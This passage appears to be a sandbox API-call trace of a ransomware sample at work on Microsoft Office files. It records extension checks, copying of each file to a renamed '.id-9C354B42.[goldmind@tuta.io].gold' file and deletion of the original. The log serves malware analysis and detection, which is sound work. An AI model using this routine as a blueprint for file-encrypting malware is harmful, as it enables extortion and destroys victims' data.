lpString2="D.VRD") returned -1 [0100.099] lstrlenW (lpString=".ppt") returned 4 [0100.099] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0100.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.099] lstrlenW (lpString=".zip") returned 4 [0100.099] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0100.099] lstrlenW (lpString=".rar") returned 4 [0100.099] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0100.099] lstrlenW (lpString=".bz2") returned 4 [0100.099] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0100.099] lstrlenW (lpString=".7z") returned 3 [0100.099] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0100.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.099] lstrlenW (lpString=".dbf") returned 4 [0100.099] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0100.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.099] lstrlenW (lpString=".1cd") returned 4 [0100.099] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0100.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.099] lstrlenW (lpString=".jpg") returned 4 [0100.100] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.100] lstrlenW (lpString=".doc") returned 4 [0100.100] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString=".docx") returned 5 [0100.100] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0100.100] lstrlenW (lpString=".pdf") returned 4 [0100.100] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString=".xls") returned 4 [0100.100] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0100.100] lstrlenW (lpString=".xlsx") returned 5 [0100.100] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0100.100] lstrlenW (lpString=".ppt") returned 4 [0100.100] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.100] lstrlenW (lpString=".zip") returned 4 [0100.100] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0100.100] lstrlenW (lpString=".rar") returned 4 [0100.100] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString=".bz2") returned 4 [0100.100] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString=".7z") returned 3 [0100.100] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0100.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.100] lstrlenW (lpString=".dbf") returned 4 [0100.100] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.100] lstrlenW (lpString=".1cd") returned 4 [0100.100] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0100.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60 [0100.100] lstrlenW (lpString=".jpg") returned 4 [0100.100] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0100.100] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0100.100] lstrlenW (lpString="DRILLDWN.VSL") returned 12 [0100.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0100.277] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=64872) returned 1 [0100.277] CloseHandle (hObject=0x364) returned 1 [0100.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 0x20 [0100.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0100.661] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.661] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.847] GetLastError () returned 0x0 [0100.847] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xfd68, lpOverlapped=0x0) returned 1 [0100.895] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xfd70, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xfd70, lpOverlapped=0x0) returned 1 [0100.896] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.897] WriteFile (in: hFile=0x198, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.897] SetEndOfFile (hFile=0x198) returned 1 [0100.897] CloseHandle (hObject=0x198) returned 1 [0100.897] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.897] SetEndOfFile (hFile=0x3ac) returned 1 [0100.902] CloseHandle (hObject=0x3ac) returned 1 [0100.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 1 [0100.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.903] lstrlenW (lpString=".doc") returned 4 [0100.903] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0100.903] lstrlenW (lpString=".docx") returned 5 [0100.903] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0100.903] lstrlenW (lpString=".pdf") returned 4 [0100.903] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0100.903] lstrlenW (lpString=".xls") returned 4 [0100.903] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0100.903] lstrlenW (lpString=".xlsx") returned 5 [0100.903] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0100.903] lstrlenW (lpString=".ppt") returned 4 [0100.903] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0100.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.903] lstrlenW (lpString=".zip") returned 4 [0100.903] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0100.903] lstrlenW (lpString=".rar") returned 4 [0100.903] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString=".bz2") returned 4 [0100.904] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString=".7z") returned 3 [0100.904] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".dbf") returned 4 [0100.904] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".1cd") returned 4 [0100.904] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".jpg") returned 4 [0100.904] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".doc") returned 4 [0100.904] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString=".docx") returned 5 [0100.904] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0100.904] lstrlenW (lpString=".pdf") returned 4 [0100.904] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString=".xls") returned 4 [0100.904] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0100.904] lstrlenW (lpString=".xlsx") returned 5 [0100.904] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0100.904] lstrlenW (lpString=".ppt") returned 4 [0100.904] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".zip") returned 4 [0100.904] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0100.904] lstrlenW (lpString=".rar") returned 4 [0100.904] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString=".bz2") returned 4 [0100.904] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString=".7z") returned 3 [0100.904] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".dbf") returned 4 [0100.904] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".1cd") returned 4 [0100.904] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0100.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60 [0100.904] lstrlenW (lpString=".jpg") returned 4 [0100.904] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0100.904] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0100.904] lstrlenW (lpString="EXCEL.DEV_F_COL.HXK") returned 19 [0100.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.994] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=114) returned 1 [0100.994] CloseHandle (hObject=0x3a8) returned 1 [0100.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 0x20 [0101.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.071] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.071] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0101.075] GetLastError () returned 0x0 [0101.075] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x72, lpOverlapped=0x0) returned 1 [0101.076] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0101.077] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.077] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0101.077] SetEndOfFile (hFile=0x194) returned 1 [0101.077] CloseHandle (hObject=0x194) returned 1 [0101.077] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.077] SetEndOfFile (hFile=0x398) returned 1 [0101.080] CloseHandle (hObject=0x398) returned 1 [0101.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 1 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString=".doc") returned 4 [0101.081] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.081] lstrlenW (lpString=".docx") returned 5 [0101.081] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.081] lstrlenW (lpString=".pdf") returned 4 [0101.081] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.081] lstrlenW (lpString=".xls") returned 4 [0101.081] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.081] lstrlenW (lpString=".xlsx") returned 5 [0101.081] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.081] lstrlenW (lpString=".ppt") returned 4 [0101.081] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString=".zip") returned 4 [0101.081] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.081] lstrlenW (lpString=".rar") returned 4 [0101.081] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.081] lstrlenW (lpString=".bz2") returned 4 [0101.081] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.081] lstrlenW (lpString=".7z") returned 3 [0101.081] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString=".dbf") returned 4 [0101.081] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString=".1cd") returned 4 [0101.081] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString=".jpg") returned 4 [0101.081] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.081] lstrlenW (lpString=".doc") returned 4 [0101.081] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.082] lstrlenW (lpString=".docx") returned 5 [0101.082] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.082] lstrlenW (lpString=".pdf") returned 4 [0101.082] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.082] lstrlenW (lpString=".xls") returned 4 [0101.082] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.082] lstrlenW (lpString=".xlsx") returned 5 [0101.082] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.082] lstrlenW (lpString=".ppt") returned 4 [0101.082] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.082] lstrlenW (lpString=".zip") returned 4 [0101.082] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.082] lstrlenW (lpString=".rar") returned 4 [0101.082] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.082] lstrlenW (lpString=".bz2") returned 4 [0101.082] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.082] lstrlenW (lpString=".7z") returned 3 [0101.082] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.082] lstrlenW (lpString=".dbf") returned 4 [0101.082] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.082] lstrlenW (lpString=".1cd") returned 4 [0101.082] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned 67 [0101.082] lstrlenW (lpString=".jpg") returned 4 [0101.082] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.082] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0101.082] lstrlenW (lpString="EXCEL_COL.HXT") returned 13 [0101.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.083] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=205) returned 1 [0101.083] CloseHandle (hObject=0x398) returned 1 [0101.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 0x20 [0101.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.084] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.084] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0101.084] GetLastError () returned 0x0 [0101.084] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xcd, lpOverlapped=0x0) returned 1 [0101.085] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0101.086] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.086] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xee, lpOverlapped=0x0) returned 1 [0101.086] SetEndOfFile (hFile=0x194) returned 1 [0101.086] CloseHandle (hObject=0x194) returned 1 [0101.086] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.086] SetEndOfFile (hFile=0x398) returned 1 [0101.211] CloseHandle (hObject=0x398) returned 1 [0101.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 1 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.500] lstrlenW (lpString=".doc") returned 4 [0101.500] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0101.500] lstrlenW (lpString=".docx") returned 5 [0101.500] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0101.500] lstrlenW (lpString=".pdf") returned 4 [0101.500] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString=".xls") returned 4 [0101.500] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString=".xlsx") returned 5 [0101.500] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0101.500] lstrlenW (lpString=".ppt") returned 4 [0101.500] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.500] lstrlenW (lpString=".zip") returned 4 [0101.500] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString=".rar") returned 4 [0101.500] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0101.500] lstrlenW (lpString=".bz2") returned 4 [0101.500] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0101.500] lstrlenW (lpString=".7z") returned 3 [0101.500] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 [0101.500] lstrlenW (lpString=".dbf") returned 4 [0101.500] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0101.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61 